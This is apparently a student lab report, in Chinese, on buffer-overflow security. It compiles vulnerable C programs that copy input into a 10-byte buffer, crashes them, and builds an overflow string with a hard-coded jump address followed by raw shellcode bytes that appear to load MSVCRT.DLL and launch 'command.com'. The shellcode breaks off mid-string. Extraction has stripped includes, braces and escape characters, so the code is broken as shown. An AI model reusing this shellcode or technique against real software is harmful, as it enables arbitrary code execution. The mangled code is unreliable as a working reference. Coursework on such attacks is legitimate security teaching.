安全程序設(shè)計實驗報告.doc

實驗報告課程名稱：學(xué)院：姓名：班級：學(xué)號：年月日實驗一：緩沖區(qū)溢出安全問題一：什么是緩沖區(qū)溢出：緩沖區(qū)溢出是指當(dāng)計算機向緩沖區(qū)內(nèi)填充數(shù)據(jù)時超過了緩沖區(qū)本身的容量而溢出；某些情況下，溢出的數(shù)據(jù)只是覆蓋在一些不重要的的內(nèi)存空間上，不會產(chǎn)生嚴(yán)重后果；但是一旦溢出的數(shù)據(jù)覆蓋在合法數(shù)據(jù)上，可能會給系統(tǒng)帶來巨大的危害。實驗程序：運行調(diào)試緩沖區(qū)溢出P02_03.C，P02_04.C，P02_05.C，P02_06.C二：實驗步驟：1：打開microsoftvisualstudio6.0選擇microsoftvisualc+File-newprojectswin32consoleapplication（項目名稱P0203）File-new-files-c+sourcefile編輯程序：#include#includevoidfunction(char*input)charbuffer10；strcpy(buffer,input)；printf(Callfun1,buffer=%sn,buffer)；intmain(intargc,char*argv)function(argv1)；return0；Buildcompilep0203.cpp-buildp02.exe查找到工程所在地址例如D:p02.exe2：開始-運行-cmd-輸入D:（進入D盤）-輸入CDP02Debug（進入生成exe所在文件）輸入“P02security”會顯示：輸入“p02abcdefghijklmnopqrstuvwxyz1234567890”彈出應(yīng)用程序錯誤警示框，提示為3：將代碼修改為：#include#includevoidfun1(char*input)charbuffer10；strcpy(buffer,input)；printf(Callfun1,buffer=%sn,buffer)；voidfun2()printf(callfun2)；intmain(intargc,char*argv)printf(Addressoffun2=%pn,fun2)；fun1(argv1)；return0；輸入“p02abcde”顯示：輸入“p02abcdefghijklmnopqrstuvwxyz1234567890”彈出應(yīng)用程序錯誤警示框，提示為4：代碼修改為：#include#includevoidfun1(char*input)charbuffer10；strcpy(buffer,input)；printf(Callfun1,buffer=%sn,buffer)；voidfun2()printf(callfun2)；intmain(intargc,char*argv)printf(Addressoffun2=%pn,fun2)；fun1(abcdefghijklmnopqrstuvwxyz12x05x10x40)；return0；直接調(diào)用程序，無法像書中所說可以調(diào)用fun2函數(shù)，因為找不到下一個buffer區(qū)的入口5：指令通用跳轉(zhuǎn)地址為0x7ffa4512#include#includevoidfun1(char*input)charbuffer10；strcpy(buffer,input)；printf(Callfun1,buffer=%sn,buffer)；intmain(intargc,char*argv)charbuffer=abcdefghijklmnopqrstuvwxzy12x12x45xfax7fx55x8BxECx33xC0x50x50xC6x45xF4x4DxC6x45xF5x53xC6x45xF6x56xC6x45xF7x43xC6x45xF8x52xC6x45xF9x54xC6x45xFAx2ExC6x45xFBx44xC6x45xFCx4CxC6x45xFDx4CxBAx77x1dx80x7cx52x8Dx45xF4x50xFFx55xF0x55x8BxECx83xECx2CxB8x63x6Fx6Dx6Dx89x45xF4xB8x61x6Ex64x2Ex89x45xF8xB8x63x6Fx6Dx22x89x45xFCx33xD2x88x55xFFx8Dx45xF4x50xB8xc7x93xbfx77xFFxD0x83xC4x12x